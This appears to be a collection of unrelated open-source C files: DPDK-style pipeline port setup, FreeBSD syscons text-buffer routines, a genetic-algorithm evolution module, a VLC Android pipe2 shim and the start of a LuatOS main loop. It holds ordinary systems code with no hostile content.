/* pktq_out */
p_out->n_ports_out = p_in->n_pktq_out;
for (i = 0; i < p_in->n_pktq_out; i++) {
struct app_pktq_out_params *in = &p_in->pktq_out[i];
struct pipeline_port_out_params *out = &p_out->port_out[i];
switch (in->type) {
case APP_PKTQ_OUT_HWQ:
{
struct app_pktq_hwq_out_params *p_hwq_out =
&app->hwq_out_params[in->id];
struct app_link_params *p_link =
app_get_link_for_txq(app, p_hwq_out);
uint32_t txq_link_id, txq_queue_id;
sscanf(p_hwq_out->name,
"TXQ%" SCNu32 ".%" SCNu32,
&txq_link_id,
&txq_queue_id);
if (p_hwq_out->dropless == 0) {
struct rte_port_ethdev_writer_params *params =
&out->params.ethdev;
out->type = PIPELINE_PORT_OUT_ETHDEV_WRITER;
params->port_id = p_link->pmd_id;
params->queue_id = txq_queue_id;
params->tx_burst_sz =
app->hwq_out_params[in->id].burst;
} else {
struct rte_port_ethdev_writer_nodrop_params
*params = &out->params.ethdev_nodrop;
out->type =
PIPELINE_PORT_OUT_ETHDEV_WRITER_NODROP;
params->port_id = p_link->pmd_id;
params->queue_id = txq_queue_id;
params->tx_burst_sz = p_hwq_out->burst;
params->n_retries = p_hwq_out->n_retries;
}
break;
}
case APP_PKTQ_OUT_SWQ:
{
struct app_pktq_swq_params *swq_params = &app->swq_params[in->id];
if ((swq_params->ipv4_ras == 0) && (swq_params->ipv6_ras == 0)) {
if (app_swq_get_writers(app, swq_params) == 1) {
if (app->swq_params[in->id].dropless == 0) {
struct rte_port_ring_writer_params *params =
&out->params.ring;
out->type = PIPELINE_PORT_OUT_RING_WRITER;
params->ring = app->swq[in->id];
params->tx_burst_sz =
app->swq_params[in->id].burst_write;
} else {
struct rte_port_ring_writer_nodrop_params
*params = &out->params.ring_nodrop;
out->type =
PIPELINE_PORT_OUT_RING_WRITER_NODROP;
params->ring = app->swq[in->id];
params->tx_burst_sz =
app->swq_params[in->id].burst_write;
params->n_retries =
app->swq_params[in->id].n_retries;
}
} else {
if (swq_params->dropless == 0) {
struct rte_port_ring_multi_writer_params *params =
&out->params.ring_multi;
out->type = PIPELINE_PORT_OUT_RING_MULTI_WRITER;
params->ring = app->swq[in->id];
params->tx_burst_sz = swq_params->burst_write;
} else {
struct rte_port_ring_multi_writer_nodrop_params
*params = &out->params.ring_multi_nodrop;
out->type = PIPELINE_PORT_OUT_RING_MULTI_WRITER_NODROP;
params->ring = app->swq[in->id];
params->tx_burst_sz = swq_params->burst_write;
params->n_retries = swq_params->n_retries;
}
}
} else {
if (swq_params->ipv4_ras == 1) {
struct rte_port_ring_writer_ipv4_ras_params *params =
&out->params.ring_ipv4_ras;
out->type = PIPELINE_PORT_OUT_RING_WRITER_IPV4_RAS;
params->ring = app->swq[in->id];
params->tx_burst_sz = swq_params->burst_write;
} else {
struct rte_port_ring_writer_ipv6_ras_params *params =
&out->params.ring_ipv6_ras;
out->type = PIPELINE_PORT_OUT_RING_WRITER_IPV6_RAS;
params->ring = app->swq[in->id];
params->tx_burst_sz = swq_params->burst_write;
}
}
break;
}
case APP_PKTQ_OUT_TM:
{
struct rte_port_sched_writer_params *params =
&out->params.sched;
out->type = PIPELINE_PORT_OUT_SCHED_WRITER;
params->sched = app->tm[in->id];
params->tx_burst_sz =
app->tm_params[in->id].burst_write;
break;
}
#ifdef RTE_EXEC_ENV_LINUXAPP
case APP_PKTQ_OUT_TAP:
{
struct rte_port_fd_writer_params *params =
&out->params.fd;
out->type = PIPELINE_PORT_OUT_FD_WRITER;
params->fd = app->tap[in->id];
params->tx_burst_sz =
app->tap_params[in->id].burst_write;
break;
}
#endif
#ifdef RTE_LIBRTE_KNI
case APP_PKTQ_OUT_KNI:
{
struct app_pktq_kni_params *p_kni =
&app->kni_params[in->id];
if (p_kni->dropless == 0) {
struct rte_port_kni_writer_params *params =
&out->params.kni;
out->type = PIPELINE_PORT_OUT_KNI_WRITER;
params->kni = app->kni[in->id];
params->tx_burst_sz =
app->kni_params[in->id].burst_write;
} else {
struct rte_port_kni_writer_nodrop_params
*params = &out->params.kni_nodrop;
out->type = PIPELINE_PORT_OUT_KNI_WRITER_NODROP;
params->kni = app->kni[in->id];
params->tx_burst_sz =
app->kni_params[in->id].burst_write;
params->n_retries =
app->kni_params[in->id].n_retries;
}
break;
}
#endif /* RTE_LIBRTE_KNI */
case APP_PKTQ_OUT_SINK:
{
out->type = PIPELINE_PORT_OUT_SINK;
out->params.sink.file_name =
app->sink_params[in->id].file_name;
out->params.sink.max_n_pkts =
app->sink_params[in->id].
n_pkts_to_dump;
break;
}
default:
break;
}
}
/* msgq */
p_out->n_msgq = p_in->n_msgq_in;
for (i = 0; i < p_in->n_msgq_in; i++)
p_out->msgq_in[i] = app->msgq[p_in->msgq_in[i]];
for (i = 0; i < p_in->n_msgq_out; i++)
p_out->msgq_out[i] = app->msgq[p_in->msgq_out[i]];
/* args */
p_out->n_args = p_in->n_args;
for (i = 0; i < p_in->n_args; i++) {
p_out->args_name[i] = p_in->args_name[i];
p_out->args_value[i] = p_in->args_value[i];
}
}
static void
app_init_pipelines(struct app_params *app)
{
uint32_t p_id;
for (p_id = 0; p_id < app->n_pipelines; p_id++) {
struct app_pipeline_params *params =
&app->pipeline_params[p_id];
struct app_pipeline_data *data = &app->pipeline_data[p_id];
struct pipeline_type *ptype;
struct pipeline_params pp;
APP_LOG(app, HIGH, "Initializing %s ...", params->name);
ptype = app_pipeline_type_find(app, params->type);
if (ptype == NULL)
rte_panic("Init error: Unknown pipeline type \"%s\"\n",
params->type);
app_pipeline_params_get(app, params, &pp);
/* Back-end */
data->be = NULL;
if (ptype->be_ops->f_init) {
data->be = ptype->be_ops->f_init(&pp, (void *) app);
if (data->be == NULL)
rte_panic("Pipeline instance \"%s\" back-end "
"init error\n", params->name);
}
/* Front-end */
data->fe = NULL;
if (ptype->fe_ops->f_init) {
data->fe = ptype->fe_ops->f_init(&pp, (void *) app);
if (data->fe == NULL)
rte_panic("Pipeline instance \"%s\" front-end "
"init error\n", params->name);
}
data->ptype = ptype;
data->timer_period = (rte_get_tsc_hz() *
params->timer_period) / 1000;
}
}
static void
app_post_init_pipelines(struct app_params *app)
{
uint32_t p_id;
for (p_id = 0; p_id < app->n_pipelines; p_id++) {
struct app_pipeline_params *params =
&app->pipeline_params[p_id];
struct app_pipeline_data *data = &app->pipeline_data[p_id];
int status;
if (data->ptype->fe_ops->f_post_init == NULL)
continue;
status = data->ptype->fe_ops->f_post_init(data->fe);
if (status)
rte_panic("Pipeline instance \"%s\" front-end "
"post-init error\n", params->name);
}
}
static void
app_init_threads(struct app_params *app)
{
uint64_t time = rte_get_tsc_cycles();
uint32_t p_id;
for (p_id = 0; p_id < app->n_pipelines; p_id++) {
struct app_pipeline_params *params =
&app->pipeline_params[p_id];
struct app_pipeline_data *data = &app->pipeline_data[p_id];
struct pipeline_type *ptype;
struct app_thread_data *t;
struct app_thread_pipeline_data *p;
int lcore_id;
lcore_id = cpu_core_map_get_lcore_id(app->core_map,
params->socket_id,
params->core_id,
params->hyper_th_id);
if (lcore_id < 0)
rte_panic("Invalid core s%" PRIu32 "c%" PRIu32 "%s\n",
params->socket_id,
params->core_id,
(params->hyper_th_id) ? "h" : "");
t = &app->thread_data[lcore_id];
t->timer_period = (rte_get_tsc_hz() * APP_THREAD_TIMER_PERIOD) / 1000;
t->thread_req_deadline = time + t->timer_period;
t->headroom_cycles = 0;
t->headroom_time = rte_get_tsc_cycles();
t->headroom_ratio = 0.0;
t->msgq_in = app_thread_msgq_in_get(app,
params->socket_id,
params->core_id,
params->hyper_th_id);
if (t->msgq_in == NULL)
rte_panic("Init error: Cannot find MSGQ_IN for thread %" PRId32,
lcore_id);
t->msgq_out = app_thread_msgq_out_get(app,
params->socket_id,
params->core_id,
params->hyper_th_id);
if (t->msgq_out == NULL)
rte_panic("Init error: Cannot find MSGQ_OUT for thread %" PRId32,
lcore_id);
ptype = app_pipeline_type_find(app, params->type);
if (ptype == NULL)
rte_panic("Init error: Unknown pipeline "
"type \"%s\"\n", params->type);
p = (ptype->be_ops->f_run == NULL) ?
&t->regular[t->n_regular] :
&t->custom[t->n_custom];
p->pipeline_id = p_id;
p->be = data->be;
p->f_run = ptype->be_ops->f_run;
p->f_timer = ptype->be_ops->f_timer;
p->timer_period = data->timer_period;
p->deadline = time + data->timer_period;
data->enabled = 1;
if (ptype->be_ops->f_run == NULL)
t->n_regular++;
else
t->n_custom++;
}
}
int app_init(struct app_params *app)
{
app_init_core_map(app);
app_init_core_mask(app);
app_init_eal(app);
app_init_mempool(app);
app_init_link(app);
app_init_swq(app);
app_init_tm(app);
app_init_tap(app);
app_init_kni(app);
app_init_msgq(app);
app_pipeline_common_cmd_push(app);
app_pipeline_thread_cmd_push(app);
app_pipeline_type_register(app, &pipeline_master);
app_pipeline_type_register(app, &pipeline_passthrough);
app_pipeline_type_register(app, &pipeline_flow_classification);
app_pipeline_type_register(app, &pipeline_flow_actions);
app_pipeline_type_register(app, &pipeline_firewall);
app_pipeline_type_register(app, &pipeline_routing);
app_init_pipelines(app);
app_init_threads(app);
return 0;
}
int app_post_init(struct app_params *app)
{
app_post_init_pipelines(app);
return 0;
}
static int
app_pipeline_type_cmd_push(struct app_params *app,
struct pipeline_type *ptype)
{
cmdline_parse_ctx_t *cmds;
uint32_t n_cmds, i;
/* Check input arguments */
if ((app == NULL) ||
(ptype == NULL))
return -EINVAL;
n_cmds = pipeline_type_cmds_count(ptype);
if (n_cmds == 0)
return 0;
cmds = ptype->fe_ops->cmds;
/* Check for available slots in the application commands array */
if (n_cmds > APP_MAX_CMDS - app->n_cmds)
return -ENOMEM;
/* Push pipeline commands into the application */
memcpy(&app->cmds[app->n_cmds],
cmds,
n_cmds * sizeof(cmdline_parse_ctx_t));
for (i = 0; i < n_cmds; i++)
app->cmds[app->n_cmds + i]->data = app;
app->n_cmds += n_cmds;
app->cmds[app->n_cmds] = NULL;
return 0;
}
int
app_pipeline_type_register(struct app_params *app, struct pipeline_type *ptype)
{
uint32_t n_cmds, i;
/* Check input arguments */
if ((app == NULL) ||
(ptype == NULL) ||
(ptype->name == NULL) ||
(strlen(ptype->name) == 0) ||
(ptype->be_ops->f_init == NULL) ||
(ptype->be_ops->f_timer == NULL))
return -EINVAL;
/* Check for duplicate entry */
for (i = 0; i < app->n_pipeline_types; i++)
if (strcmp(app->pipeline_type[i].name, ptype->name) == 0)
return -EEXIST;
/* Check for resource availability */
n_cmds = pipeline_type_cmds_count(ptype);
if ((app->n_pipeline_types == APP_MAX_PIPELINE_TYPES) ||
(n_cmds > APP_MAX_CMDS - app->n_cmds))
return -ENOMEM;
/* Copy pipeline type */
memcpy(&app->pipeline_type[app->n_pipeline_types++],
ptype,
sizeof(struct pipeline_type));
/* Copy CLI commands */
if (n_cmds)
app_pipeline_type_cmd_push(app, ptype);
return 0;
}
struct
pipeline_type *app_pipeline_type_find(struct app_params *app, char *name)
{
uint32_t i;
for (i = 0; i < app->n_pipeline_types; i++)
if (strcmp(app->pipeline_type[i].name, name) == 0)
return &app->pipeline_type[i];
return NULL;
}
|
694899.c | /*-
* Copyright (c) 1999 Kazutaka YOKOTA <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer as
* the first lines of this file unmodified.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <sys/cdefs.h>
__FBSDID("$FreeBSD: src/sys/dev/syscons/scvtb.c,v 1.12 2003/08/24 18:17:24 obrien Exp $");
#include "opt_syscons.h"
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/fbio.h>
#include <sys/consio.h>
#include <machine/md_var.h>
#include <machine/bus.h>
#include <dev/fb/fbreg.h>
#include <dev/syscons/syscons.h>
#define vtb_wrap(vtb, at, offset) \
(((at) + (offset) + (vtb)->vtb_size)%(vtb)->vtb_size)
void
sc_vtb_init(sc_vtb_t *vtb, int type, int cols, int rows, void *buf, int wait)
{
vtb->vtb_flags = 0;
vtb->vtb_type = type;
vtb->vtb_cols = cols;
vtb->vtb_rows = rows;
vtb->vtb_size = cols*rows;
vtb->vtb_buffer = 0;
vtb->vtb_tail = 0;
switch (type) {
case VTB_MEMORY:
case VTB_RINGBUFFER:
if ((buf == NULL) && (cols*rows != 0)) {
vtb->vtb_buffer =
(vm_offset_t)malloc(cols*rows*sizeof(u_int16_t),
M_DEVBUF,
(wait) ? M_WAITOK : M_NOWAIT);
if (vtb->vtb_buffer != 0) {
bzero((void *)sc_vtb_pointer(vtb, 0),
cols*rows*sizeof(u_int16_t));
vtb->vtb_flags |= VTB_ALLOCED;
}
} else {
vtb->vtb_buffer = (vm_offset_t)buf;
}
vtb->vtb_flags |= VTB_VALID;
break;
case VTB_FRAMEBUFFER:
vtb->vtb_buffer = (vm_offset_t)buf;
vtb->vtb_flags |= VTB_VALID;
break;
default:
break;
}
}
void
sc_vtb_destroy(sc_vtb_t *vtb)
{
vm_offset_t p;
vtb->vtb_cols = 0;
vtb->vtb_rows = 0;
vtb->vtb_size = 0;
vtb->vtb_tail = 0;
p = vtb->vtb_buffer;
vtb->vtb_buffer = 0;
switch (vtb->vtb_type) {
case VTB_MEMORY:
case VTB_RINGBUFFER:
if ((vtb->vtb_flags & VTB_ALLOCED) && (p != 0))
free((void *)p, M_DEVBUF);
break;
default:
break;
}
vtb->vtb_flags = 0;
vtb->vtb_type = VTB_INVALID;
}
size_t
sc_vtb_size(int cols, int rows)
{
return (size_t)(cols*rows*sizeof(u_int16_t));
}
int
sc_vtb_getc(sc_vtb_t *vtb, int at)
{
if (vtb->vtb_type == VTB_FRAMEBUFFER)
return (readw(sc_vtb_pointer(vtb, at)) & 0x00ff);
else
return (*(u_int16_t *)sc_vtb_pointer(vtb, at) & 0x00ff);
}
int
sc_vtb_geta(sc_vtb_t *vtb, int at)
{
if (vtb->vtb_type == VTB_FRAMEBUFFER)
return (readw(sc_vtb_pointer(vtb, at)) & 0xff00);
else
return (*(u_int16_t *)sc_vtb_pointer(vtb, at) & 0xff00);
}
void
sc_vtb_putc(sc_vtb_t *vtb, int at, int c, int a)
{
if (vtb->vtb_type == VTB_FRAMEBUFFER)
writew(sc_vtb_pointer(vtb, at), a | c);
else
*(u_int16_t *)sc_vtb_pointer(vtb, at) = a | c;
}
vm_offset_t
sc_vtb_putchar(sc_vtb_t *vtb, vm_offset_t p, int c, int a)
{
if (vtb->vtb_type == VTB_FRAMEBUFFER)
writew(p, a | c);
else
*(u_int16_t *)p = a | c;
return (p + sizeof(u_int16_t));
}
vm_offset_t
sc_vtb_pointer(sc_vtb_t *vtb, int at)
{
return (vtb->vtb_buffer + sizeof(u_int16_t)*(at));
}
int
sc_vtb_pos(sc_vtb_t *vtb, int pos, int offset)
{
return ((pos + offset + vtb->vtb_size)%vtb->vtb_size);
}
void
sc_vtb_clear(sc_vtb_t *vtb, int c, int attr)
{
if (vtb->vtb_type == VTB_FRAMEBUFFER)
fillw_io(attr | c, sc_vtb_pointer(vtb, 0), vtb->vtb_size);
else
fillw(attr | c, (void *)sc_vtb_pointer(vtb, 0), vtb->vtb_size);
}
void
sc_vtb_copy(sc_vtb_t *vtb1, int from, sc_vtb_t *vtb2, int to, int count)
{
/* XXX if both are VTB_VRAMEBUFFER... */
if (vtb2->vtb_type == VTB_FRAMEBUFFER) {
bcopy_toio(sc_vtb_pointer(vtb1, from),
sc_vtb_pointer(vtb2, to),
count*sizeof(u_int16_t));
} else if (vtb1->vtb_type == VTB_FRAMEBUFFER) {
bcopy_fromio(sc_vtb_pointer(vtb1, from),
sc_vtb_pointer(vtb2, to),
count*sizeof(u_int16_t));
} else {
bcopy((void *)sc_vtb_pointer(vtb1, from),
(void *)sc_vtb_pointer(vtb2, to),
count*sizeof(u_int16_t));
}
}
void
sc_vtb_append(sc_vtb_t *vtb1, int from, sc_vtb_t *vtb2, int count)
{
int len;
if (vtb2->vtb_type != VTB_RINGBUFFER)
return;
while (count > 0) {
len = imin(count, vtb2->vtb_size - vtb2->vtb_tail);
if (vtb1->vtb_type == VTB_FRAMEBUFFER) {
bcopy_fromio(sc_vtb_pointer(vtb1, from),
sc_vtb_pointer(vtb2, vtb2->vtb_tail),
len*sizeof(u_int16_t));
} else {
bcopy((void *)sc_vtb_pointer(vtb1, from),
(void *)sc_vtb_pointer(vtb2, vtb2->vtb_tail),
len*sizeof(u_int16_t));
}
from += len;
count -= len;
vtb2->vtb_tail = vtb_wrap(vtb2, vtb2->vtb_tail, len);
}
}
void
sc_vtb_seek(sc_vtb_t *vtb, int pos)
{
vtb->vtb_tail = pos%vtb->vtb_size;
}
void
sc_vtb_erase(sc_vtb_t *vtb, int at, int count, int c, int attr)
{
if (at + count > vtb->vtb_size)
count = vtb->vtb_size - at;
if (vtb->vtb_type == VTB_FRAMEBUFFER)
fillw_io(attr | c, sc_vtb_pointer(vtb, at), count);
else
fillw(attr | c, (void *)sc_vtb_pointer(vtb, at), count);
}
void
sc_vtb_move(sc_vtb_t *vtb, int from, int to, int count)
{
if (from + count > vtb->vtb_size)
count = vtb->vtb_size - from;
if (to + count > vtb->vtb_size)
count = vtb->vtb_size - to;
if (count <= 0)
return;
if (vtb->vtb_type == VTB_FRAMEBUFFER) {
bcopy_io(sc_vtb_pointer(vtb, from),
sc_vtb_pointer(vtb, to), count*sizeof(u_int16_t));
} else {
bcopy((void *)sc_vtb_pointer(vtb, from),
(void *)sc_vtb_pointer(vtb, to), count*sizeof(u_int16_t));
}
}
void
sc_vtb_delete(sc_vtb_t *vtb, int at, int count, int c, int attr)
{
int len;
if (at + count > vtb->vtb_size)
count = vtb->vtb_size - at;
len = vtb->vtb_size - at - count;
if (len > 0) {
if (vtb->vtb_type == VTB_FRAMEBUFFER) {
bcopy_io(sc_vtb_pointer(vtb, at + count),
sc_vtb_pointer(vtb, at),
len*sizeof(u_int16_t));
} else {
bcopy((void *)sc_vtb_pointer(vtb, at + count),
(void *)sc_vtb_pointer(vtb, at),
len*sizeof(u_int16_t));
}
}
if (vtb->vtb_type == VTB_FRAMEBUFFER)
fillw_io(attr | c, sc_vtb_pointer(vtb, at + len),
vtb->vtb_size - at - len);
else
fillw(attr | c, (void *)sc_vtb_pointer(vtb, at + len),
vtb->vtb_size - at - len);
}
void
sc_vtb_ins(sc_vtb_t *vtb, int at, int count, int c, int attr)
{
if (at + count > vtb->vtb_size) {
count = vtb->vtb_size - at;
} else {
if (vtb->vtb_type == VTB_FRAMEBUFFER) {
bcopy_io(sc_vtb_pointer(vtb, at),
sc_vtb_pointer(vtb, at + count),
(vtb->vtb_size - at - count)*sizeof(u_int16_t));
} else {
bcopy((void *)sc_vtb_pointer(vtb, at),
(void *)sc_vtb_pointer(vtb, at + count),
(vtb->vtb_size - at - count)*sizeof(u_int16_t));
}
}
if (vtb->vtb_type == VTB_FRAMEBUFFER)
fillw_io(attr | c, sc_vtb_pointer(vtb, at), count);
else
fillw(attr | c, (void *)sc_vtb_pointer(vtb, at), count);
}
|
928779.c | /*
GENETIC - A simple genetic algorithm.
Copyright 2014, Javier Burguete Tolosa.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY Javier Burguete Tolosa ``AS IS'' AND ANY EXPRESS
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
EVENT SHALL Javier Burguete Tolosa OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* \file evolution.c
* \brief Source file to define evolution functions.
* \author Javier Burguete Tolosa.
* \copyright Copyright 2014 Javier Burguete Tolosa. All rights reserved.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <gsl/gsl_rng.h>
//#include "config.h"
#include "bits.h"
#include "sort.h"
#include "entity.h"
#include "population.h"
#include "mutation.h"
#include "reproduction.h"
#include "adaptation.h"
#include "selection.h"
#include "evolution.h"
#define DEBUG_EVOLUTION 0 ///< Macro to debug the evolution functions.
/**
* Function to sort the survivals of the evaluated population
*/
void
evolution_sort (Population * population) ///< Population.
{
unsigned int i, j, index[population->nentities];
double objective[population->nsurvival];
Entity entity[population->nsurvival];
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_sort: start\n");
#endif
index_new (population->objective, index, population->nentities);
for (i = 0; i < population->nsurvival; ++i)
{
j = index[i];
objective[i] = population->objective[j];
entity_new (entity + i, population->genome_nbytes, i);
memcpy (entity[i].genome, population->entity[j].genome,
population->genome_nbytes);
}
for (i = 0; i < population->nsurvival; ++i)
{
population->objective[i] = objective[i];
memcpy (population->entity[i].genome, entity[i].genome,
population->genome_nbytes);
entity_free (entity + i);
}
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_sort: end\n");
#endif
}
/**
* Funtion to apply the mutation evolution.
*/
void
evolution_mutation (Population * population, ///< Population.
gsl_rng * rng) ///< GSL random numbers generator.
{
unsigned int i;
Entity *mother, *son;
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_mutation: start\n");
#endif
for (i = population->mutation_max; i > population->mutation_min;)
{
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_mutation: selection\n");
#endif
selection_mutation (population, &mother, rng);
son = population->entity + --i;
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_mutation: mutation in %u\n", i);
#endif
mutation (population, mother, son, rng);
}
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_mutation: end\n");
#endif
}
/**
* Funtion to apply the reproduction evolution.
*/
void
evolution_reproduction (Population * population, ///< Population.
gsl_rng * rng) ///< GSL random numbers generator.
{
unsigned int i;
Entity *mother, *father, *son;
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_reproduction: start\n");
#endif
for (i = population->reproduction_max; i > population->reproduction_min;)
{
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_reproduction: selection\n");
#endif
selection_reproduction (population, &mother, &father, rng);
son = population->entity + --i;
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_reproduction: reproduction in %u\n", i);
#endif
reproduction (mother, father, son, population->genome_nbits, rng);
}
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_reproduction: end\n");
#endif
}
/**
* Funtion to apply the adaptation evolution.
*/
void
evolution_adaptation (Population * population, ///< Population.
gsl_rng * rng) ///< GSL random numbers generator.
{
unsigned int i;
Entity *mother, *son;
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_adaptation: start\n");
#endif
for (i = population->adaptation_max; i > population->adaptation_min;)
{
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_adaptation: selection\n");
#endif
selection_adaptation (population, &mother, rng);
son = population->entity + --i;
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_adaptation: adaptation in %u\n", i);
#endif
adaptation (population, mother, son, rng);
}
#if DEBUG_EVOLUTION
fprintf (stderr, "evolution_adaptation: end\n");
#endif
}
|
113096.c | /*****************************************************************************
* misc.c
*****************************************************************************
* Copyright © 2012 VLC authors and VideoLAN
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
*****************************************************************************/
#include <sys/linux-syscalls.h>
//#include <sys/syscall.h>
int syscall(int number, ...);
/* Needed for android < 2.3 */
int pipe2(int fds[2], int flags)
{
return syscall(__NR_pipe2, fds, flags);
}
|
942068.c |
#include "luat_base.h"
#include "luat_malloc.h"
#include "luat_fs.h"
#include "stdio.h"
#include "luat_msgbus.h"
#include "luat_timer.h"
#include "luat_ota.h"
#define LUAT_LOG_TAG "main"
#include "luat_log.h"
#include "luat_dbg.h"
#ifndef LUAT_USE_CMDLINE_ARGS
#ifdef LUA_USE_WINDOWS
#define LUAT_USE_CMDLINE_ARGS 1
#endif
#ifdef LUA_USE_LINUX
#define LUAT_USE_CMDLINE_ARGS 1
#endif
#endif
#ifdef LUAT_USE_CMDLINE_ARGS
#include <stdlib.h>
extern int cmdline_argc;
extern char** cmdline_argv;
#endif
static int report (lua_State *L, int status);
lua_State *L;
static uint8_t boot_mode = 1;
void stopboot(void) {
boot_mode = 0;
}
// lua_State * luat_get_state() {
// return L;
// }
int luat_search_module(const char* name, char* filename);
void luat_os_print_heapinfo(const char* tag);
void luat_force_gc_all(void)
{
lua_gc(L, LUA_GCCOLLECT, 0);
}
int luat_main_demo() { // 这是验证LuatVM最基础的消息/定时器/Task机制是否正常
return luaL_dostring(L, "local sys = require \"sys\"\n"
"log.info(\"main\", os.date())\n"
"leda = gpio.setup(3, 0)"
"ledb = gpio.setup(4, 0)"
"ledc = gpio.setup(5, 0)"
"sys.taskInit(function ()\n"
" while true do\n"
" log.info(\"hi\", rtos.meminfo())\n"
" sys.wait(500)\n"
" leda(1)\n"
" ledb(0)\n"
" ledc(0)\n"
" sys.wait(500)\n"
" leda(0)\n"
" ledb(1)\n"
" ledc(0)\n"
" sys.wait(500)\n"
" leda(0)\n"
" ledb(0)\n"
" ledc(1)\n"
" log.info(\"main\", os.date())\n"
" end\n"
"end)\n"
"sys.run()\n");
}
static int pmain(lua_State *L) {
int re = -2;
char filename[32] = {0};
//luat_os_print_heapinfo("boot");
// 加载内置库
luat_openlibs(L);
luat_os_print_heapinfo("loadlibs");
lua_gc(L, LUA_GCSETPAUSE, 90); // 设置`垃圾收集器间歇率`要低于100%
#ifdef LUAT_HAS_CUSTOM_LIB_INIT
luat_custom_init(L);
#endif
// #ifdef LUAT_USE_DBG
// //extern void luat_debug_hook(lua_State *L, lua_Debug *ar);
// //lua_sethook(L, luat_debug_hook, LUA_MASKCALL | LUA_MASKRET | LUA_MASKLINE, 0);
// luat_dbg_init(L);
// // 寻找dbg_init.lua, 里面有初始化代码
// if (luat_search_module("dbg_init", filename) == 0) {
// luaL_dofile(L, filename);
// }
// #endif
// 加载main.lua
#ifdef LUAT_USE_CMDLINE_ARGS
if (cmdline_argc > 1) {
int slen = strlen(cmdline_argv[1]);
if (slen > 4 && !strcmp(".lua", cmdline_argv[1] + (slen - 4)))
re = luaL_dofile(L, cmdline_argv[1]);
}
#endif
if (re == -2) {
#ifndef LUAT_MAIN_DEMO
if (luat_search_module("main", filename) == 0) {
re = luaL_dofile(L, filename);
}
else {
re = -1;
luaL_error(L, "module '%s' not found", "main");
}
#else
re = luat_main_demo();
#endif
}
report(L, re);
lua_pushboolean(L, re == LUA_OK); /* signal no errors */
return 1;
}
/*
** Prints an error message, adding the program name in front of it
** (if present)
*/
static void l_message (const char *pname, const char *msg) {
if (pname) LLOGE("%s: ", pname);
LLOGE("%s\n", msg);
}
/*
** Check whether 'status' is not OK and, if so, prints the error
** message on the top of the stack. It assumes that the error object
** is a string, as it was either generated by Lua or by 'msghandler'.
*/
static int report (lua_State *L, int status) {
if (status != LUA_OK) {
const char *msg = lua_tostring(L, -1);
l_message("LUAT", msg);
lua_pop(L, 1); /* remove message */
}
return status;
}
static int panic (lua_State *L) {
LLOGE("PANIC: unprotected error in call to Lua API (%s)\n",
lua_tostring(L, -1));
return 0; /* return to Lua to abort */
}
int luat_main_call(void) {
// 4. init Lua State
int status = 0;
int result = 0;
L = lua_newstate(luat_heap_alloc, NULL);
if (L == NULL) {
l_message("lua", "cannot create state: not enough memory\n");
goto _exit;
}
if (L) lua_atpanic(L, &panic);
